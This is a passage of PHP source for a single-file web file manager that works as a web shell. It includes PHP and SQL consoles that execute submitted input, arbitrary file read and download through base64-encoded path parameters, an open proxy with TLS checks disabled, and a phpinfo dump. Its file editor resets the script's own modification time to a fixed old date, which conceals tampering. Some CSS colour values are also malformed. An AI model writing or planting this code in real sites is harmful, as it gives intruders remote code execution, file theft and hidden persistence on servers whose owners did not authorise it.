			$fm_php = json_encode(array_combine($_POST[$lng_tpl.'_name'],$_POST[$lng_tpl.'_value']),JSON_HEX_APOS);
		} elseif (!empty($_POST[$lng_tpl.'_new_name'])) {
			$fm_php = json_encode(json_decode(${$lng_tpl.'_templates'},true)+array($_POST[$lng_tpl.'_new_name']=>$_POST[$lng_tpl.'_new_value']),JSON_HEX_APOS);
		}
		if (!empty($fm_php)) {
			$fgc = file_get_contents(__FILE__);
			$search = preg_match('#'.$lng_tpl.'_templates[\s]?\=[\s]?\'\{\"(.*?)\"\}\';#', $fgc, $matches);
			if (!empty($matches[1])) {
				$filemtime = filemtime(__FILE__);
				$replace = str_replace('{"'.$matches[1].'"}',$fm_php,$fgc);
				if (file_put_contents(__FILE__, $replace)) {
					${$lng_tpl.'_templates'} = $fm_php;
					$msg .= __('File updated');
				} else $msg .= __('Error occurred');
				if (!empty($fm_config['fm_restore_time'])) touch(__FILE__,$filemtime);
			}	
		} else $msg .= __('Error occurred');
	}
}

// Just show image
if (isset($_GET['img'])) {
	$file=base64_decode($_GET['img']);
	if ($info=getimagesize($file)){
		switch  ($info[2]){	//1=GIF, 2=JPG, 3=PNG, 4=SWF, 5=PSD, 6=BMP
			case 1: $ext='gif'; break;
			case 2: $ext='jpeg'; break;
			case 3: $ext='png'; break;
			case 6: $ext='bmp'; break;
			default: die();
		}
		header("Content-type: image/$ext");
		echo file_get_contents($file);
		die();
	}
}

// Just download file
if (isset($_GET['download'])) {
	$file=base64_decode($_GET['download']);
	fm_download($file);	
}

// Just show info
if (isset($_GET['phpinfo'])) {
	phpinfo(); 
	die();
}

// Mini proxy, many bugs!
if (isset($_GET['proxy']) && (!empty($fm_config['enable_proxy']))) {
	$url = isset($_GET['url'])?urldecode($_GET['url']):'';
	$proxy_form = '
<div style="position:relative;z-index:100500;background: linear-gradient(to bottom, #CD5C5C 0%,#bfe8f9 50%,#9fd8ef 51%,#2ab0ed 100%);">
	<form action="" method="GET">
	<input type="hidden" name="proxy" value="true">
	'.fm_home().' <a href="'.$url.'" target="_blank">Url</a>: <input type="text" name="url" value="'.$url.'" size="55">
	<input type="submit" value="'.__('Show').'" class="fm_input">
	</form>
</div>
';
	if ($url) {
		$ch = curl_init($url);
		curl_setopt($ch, CURLOPT_USERAGENT, 'Den1xxx test proxy');
		curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
		curl_setopt($ch, CURLOPT_SSL_VERIFYHOST,0);
		curl_setopt($ch, CURLOPT_SSL_VERIFYPEER,0);
		curl_setopt($ch, CURLOPT_HEADER, 0);
		curl_setopt($ch, CURLOPT_REFERER, $url);
		curl_setopt($ch, CURLOPT_RETURNTRANSFER,true);
		$result = curl_exec($ch);
		curl_close($ch);
		//$result = preg_replace('#(src)=["\'][http://]?([^:]*)["\']#Ui', '\\1="'.$url.'/\\2"', $result);
		$result = preg_replace_callback('#(href|src)=["\'][http://]?([^:]*)["\']#Ui', 'fm_url_proxy', $result);
		$result = preg_replace('%(<body.*?>)%i', '$1'.'<style>'.fm_home_style().'</style>'.$proxy_form, $result);
		echo $result;
		die();
	} 
}
?>
<!doctype html>
<html>
<head>     
	<meta charset="utf-8" />
	<meta name="viewport" content="width=device-width, initial-scale=1" />
    <title><?=__('File manager')?></title>
<style>
body {
	background-color:	white;
	font-family:		Verdana, Arial, Helvetica, sans-serif;
	font-size:			8pt;
	margin:				0px;
}

a:link, a:active, a:visited { color: #006699; text-decoration: none; }
a:hover { color: ## #800080A ; text-decoration: underline; }
a.th:link { color: ##6495ED; text-decoration: none; }
a.th:active { color: #CD5C5C; text-decoration: none; }
a.th:visited { color: #E9967A; text-decoration: none; }
a.th:hover {  color: ## #800080 ; text-decoration: underline; }

table.bg {
	background-color: #C0C0C0
}

th, td { 
	font:	normal 8pt Verdana, Arial, Helvetica, sans-serif;
	padding: 3px;
}

th	{
	height:				25px;
	background-color:	# #CD5C5C ;
	color:				#CD5C5C;
	font-weight:		bold;
	font-size:			11px;
}

.row1 {
	background-color:	##CD5C5C;
}

.row2 {
	background-color:	#DEE3E7;
}

.row3 {
	background-color:	#FFC0CB;
	padding: 5px;
}

tr.row1:hover {
	background-color:	#F3FCFC;
}

tr.row2:hover {
	background-color:	# #808000 ;
}

.whole {
	width: 100%;
}

.all tbody td:first-child{width:100%;}

textarea {
	font: 9pt 'Courier New', courier;
	line-height: 125%;
	padding: 5px;
}

.textarea_input {
	height: 1em;
}

.textarea_input:focus {
	height: auto;
}

input[type=submit]{
	background: #FCFCFC none !important;
	cursor: pointer;
}

.folder {
    background-image: url("data:image/png;base64,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");
}

.file {
    background-image: url("data:image/png;base64,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");
}
<?=fm_home_style()?>
.img {
	background-image: 
url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAMAAAAoLQ9TAAAABGdBTUEAAK/INwWK6QAAAdFQTFRF7e3t/f39pJ+f+cJajV8q6enpkGIm/sFO/+2O393c5ubm/sxbd29yimdneFg65OTk2zoY6uHi1zAS1crJsHs2nygo3Nrb2LBXrYtm2p5A/+hXpoRqpKOkwri46+vr0MG36Ysz6ujpmI6AnzUywL+/mXVSmIBN8bwwj1VByLGza1ZJ0NDQjYSB/9NjwZ6CwUAsxk0brZyWw7pmGZ4A6LtdkHdf/+N8yow27b5W87RNLZL/2biP7wAA//GJl5eX4NfYsaaLgp6h1b+t/+6R68Fe89ycimZd/uQv3r9NupCB99V25a1cVJbbnHhO/8xS+MBa8fDwi2Ji48qi/+qOdVIzs34x//GOXIzYp5SP/sxgqpiIcp+/siQpcmpstayszSANuKKT9PT04uLiwIky8LdE+sVWvqam8e/vL5IZ+rlH8cNg08Ccz7ad8vLy9LtU1qyUuZ4+r512+8s/wUpL3d3dx7W1fGNa/89Z2cfH+s5n6Ojob1Yts7Kz19fXwIg4p1dN+Pj4zLR0+8pd7strhKAs/9hj/9BV1KtftLS1np2dYlJSZFVV5LRWhEFB5rhZ/9Jq0HtT//CSkIqJ6K5D+LNNblVVvjM047ZMz7e31xEG////tKgu6wAAAJt0Uk5T/////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////wCVVpKYAAAAGXRFWHRTb2Z0d2FyZQBBZG9iZSBJbWFnZVJlYWR5ccllPAAAANZJREFUKFNjmKWiPQsZMMximsqPKpAb2MsAZNjLOwkzggVmJYnyps/QE59eKCEtBhaYFRfjZuThH27lY6kqBxYorS/OMC5wiHZkl2QCCVTkN+trtFj4ZSpMmawDFBD0lCoynzZBl1nIJj55ElBA09pdvc9buT1SYKYBWw1QIC0oNYsjrFHJpSkvRYsBKCCbM9HLN9tWrbqnjUUGZG1AhGuIXZRzpQl3aGwD2B2cZZ2zEoL7W+u6qyAunZXIOMvQrFykqwTiFzBQNOXj4QKzoAKzajtYIQwAlvtpl3V5c8MAAAAASUVORK5CYII=");
}
@media screen and (max-width:720px){
  table{display:block;}
    #fm_table td{display:inline;float:left;}
    #fm_table tbody td:first-child{width:100%;padding:0;}
    #fm_table tbody tr:nth-child(2n+1){background-color:#EFEFEF;}
    #fm_table tbody tr:nth-child(2n){background-color:#DEE3E7;}
    #fm_table tr{display:block;float:left;clear:left;width:100%;}
	#header_table .row2, #header_table .row3 {display:inline;float:left;width:100%;padding:0;}
	#header_table table td {display:inline;float:left;}
}
</style>
</head>
<body>
<?php
$url_inc = '?fm=true';
if (isset($_POST['sqlrun'])&&!empty($fm_config['enable_sql_console'])){
	$res = empty($_POST['sql']) ? '' : $_POST['sql'];
	$res_lng = 'sql';
} elseif (isset($_POST['phprun'])&&!empty($fm_config['enable_php_console'])){
	$res = empty($_POST['php']) ? '' : $_POST['php'];
	$res_lng = 'php';
} 
if (isset($_GET['fm_settings'])) {
	echo ' 
<table class="whole">
<form method="post" action="">
<tr><th colspan="2">'.__('File manager').' - '.__('Settings').'</th></tr>
'.(empty($msg)?'':'<tr><td class="row2" colspan="2">'.$msg.'</td></tr>').'
'.fm_config_checkbox_row(__('Show size of the folder'),'show_dir_size').'
'.fm_config_checkbox_row(__('Show').' '.__('pictures'),'show_img').'
'.fm_config_checkbox_row(__('Show').' '.__('Make directory'),'make_directory').'
'.fm_config_checkbox_row(__('Show').' '.__('New file'),'new_file').'
'.fm_config_checkbox_row(__('Show').' '.__('Upload'),'upload_file').'
'.fm_config_checkbox_row(__('Show').' PHP version','show_php_ver').'
'.fm_config_checkbox_row(__('Show').' PHP ini','show_php_ini').'
'.fm_config_checkbox_row(__('Show').' '.__('Generation time'),'show_gt').'
'.fm_config_checkbox_row(__('Show').' xls','show_xls').'
'.fm_config_checkbox_row(__('Show').' PHP '.__('Console'),'enable_php_console').'
'.fm_config_checkbox_row(__('Show').' SQL '.__('Console'),'enable_sql_console').'
<tr><td class="row1"><input name="fm_config[sql_server]" value="'.$fm_config['sql_server'].'" type="text"></td><td class="row2 whole">SQL server</td></tr>
<tr><td class="row1"><input name="fm_config[sql_username]" value="'.$fm_config['sql_username'].'" type="text"></td><td class="row2 whole">SQL user</td></tr>
<tr><td class="row1"><input name="fm_config[sql_password]" value="'.$fm_config['sql_password'].'" type="text"></td><td class="row2 whole">SQL password</td></tr>
<tr><td class="row1"><input name="fm_config[sql_db]" value="'.$fm_config['sql_db'].'" type="text"></td><td class="row2 whole">SQL DB</td></tr>
'.fm_config_checkbox_row(__('Show').' Proxy','enable_proxy').'
'.fm_config_checkbox_row(__('Show').' phpinfo()','show_phpinfo').'
'.fm_config_checkbox_row(__('Show').' '.__('Settings'),'fm_settings').'
'.fm_config_checkbox_row(__('Restore file time after editing'),'restore_time').'
'.fm_config_checkbox_row(__('File manager').': '.__('Restore file time after editing'),'fm_restore_time').'
<tr><td class="row3"><a href="'.fm_url().'?fm_settings=true&fm_config_delete=true">'.__('Reset settings').'</a></td><td class="row3"><input type="submit" value="'.__('Save').'" name="fm_config[fm_set_submit]"></td></tr>
</form>
</table>
<table>
<form method="post" action="">
<tr><th colspan="2">'.__('Settings').' - '.__('Authorization').'</th></tr>
<tr><td class="row1"><input name="fm_login[authorize]" value="1" '.($auth['authorize']?'checked':'').' type="checkbox" id="auth"></td><td class="row2 whole"><label for="auth">'.__('Authorization').'</label></td></tr>
<tr><td class="row1"><input name="fm_login[login]" value="'.$auth['login'].'" type="text"></td><td class="row2 whole">'.__('Login').'</td></tr>
<tr><td class="row1"><input name="fm_login[password]" value="'.$auth['password'].'" type="text"></td><td class="row2 whole">'.__('Password').'</td></tr>
<tr><td class="row1"><input name="fm_login[cookie_name]" value="'.$auth['cookie_name'].'" type="text"></td><td class="row2 whole">'.__('Cookie').'</td></tr>
<tr><td class="row1"><input name="fm_login[days_authorization]" value="'.$auth['days_authorization'].'" type="text"></td><td class="row2 whole">'.__('Days').'</td></tr>
<tr><td class="row1"><textarea name="fm_login[script]" cols="35" rows="7" class="textarea_input" id="auth_script">'.$auth['script'].'</textarea></td><td class="row2 whole">'.__('Script').'</td></tr>
<tr><td colspan="2" class="row3"><input type="submit" value="'.__('Save').'" ></td></tr>
</form>
</table>';
echo fm_tpl_form('php'),fm_tpl_form('sql');
} elseif (isset($proxy_form)) {
	die($proxy_form);
} elseif (isset($res_lng)) {	
?>
<table class="whole">
<tr>
    <th><?=__('File manager').' - '.$path?></th>
</tr>
<tr>
    <td class="row2"><table><tr><td><h2><?=strtoupper($res_lng)?> <?=__('Console')?><?php
	if($res_lng=='sql') echo ' - Database: '.$fm_config['sql_db'].'</h2></td><td>'.fm_run_input('php');
	else echo '</h2></td><td>'.fm_run_input('sql');
	?></td></tr></table></td>
</tr>
<tr>
    <td class="row1">
		<a href="<?=$url_inc.'&path=' . $path;?>"><?=__('Back')?></a>
		<form action="" method="POST" name="console">
		<textarea name="<?=$res_lng?>" cols="80" rows="10" style="width: 90%"><?=$res?></textarea><br/>
		<input type="reset" value="<?=__('Reset')?>">
		<input type="submit" value="<?=__('Submit')?>" name="<?=$res_lng?>run">
<?php
$str_tmpl = $res_lng.'_templates';
$tmpl = !empty($$str_tmpl) ? json_decode($$str_tmpl,true) : '';
if (!empty($tmpl)){
	$active = isset($_POST[$res_lng.'_tpl']) ? $_POST[$res_lng.'_tpl'] : '';
	$select = '<select name="'.$res_lng.'_tpl" title="'.__('Template').'" onchange="if (this.value!=-1) document.forms[\'console\'].elements[\''.$res_lng.'\'].value = this.options[selectedIndex].value; else document.forms[\'console\'].elements[\''.$res_lng.'\'].value =\'\';" >'."\n";
	$select .= '<option value="-1">' . __('Select') . "</option>\n";
	foreach ($tmpl as $key=>$value){
		$select.='<option value="'.$value.'" '.((!empty($value)&&($value==$active))?'selected':'').' >'.__($key)."</option>\n";
	}
	$select .= "</select>\n";
	echo $select;
}
?>
		</form>
	</td>
</tr>
</table>
<?php
	if (!empty($res)) {
		$fun='fm_'.$res_lng;
		echo '<h3>'.strtoupper($res_lng).' '.__('Result').'</h3><pre>'.$fun($res).'</pre>';
	}
} elseif (!empty($_REQUEST['edit'])){
	if(!empty($_REQUEST['save'])) {
		$fn = $path . $_REQUEST['edit'];
		$filemtime = filemtime($fn);
	    if (file_put_contents($fn, $_REQUEST['newcontent'])) $msg .= __('File updated');
		else $msg .= __('Error occurred');
		if ($_GET['edit']==basename(__FILE__)) {
			touch(__FILE__,1415116371);
		} else {
			if (!empty($fm_config['restore_time'])) touch($fn,$filemtime);
		}
	}
    $oldcontent = @file_get_contents($path . $_REQUEST['edit']);
    $editlink = $url_inc . '&edit=' . $_REQUEST['edit'] . '&path=' . $path;
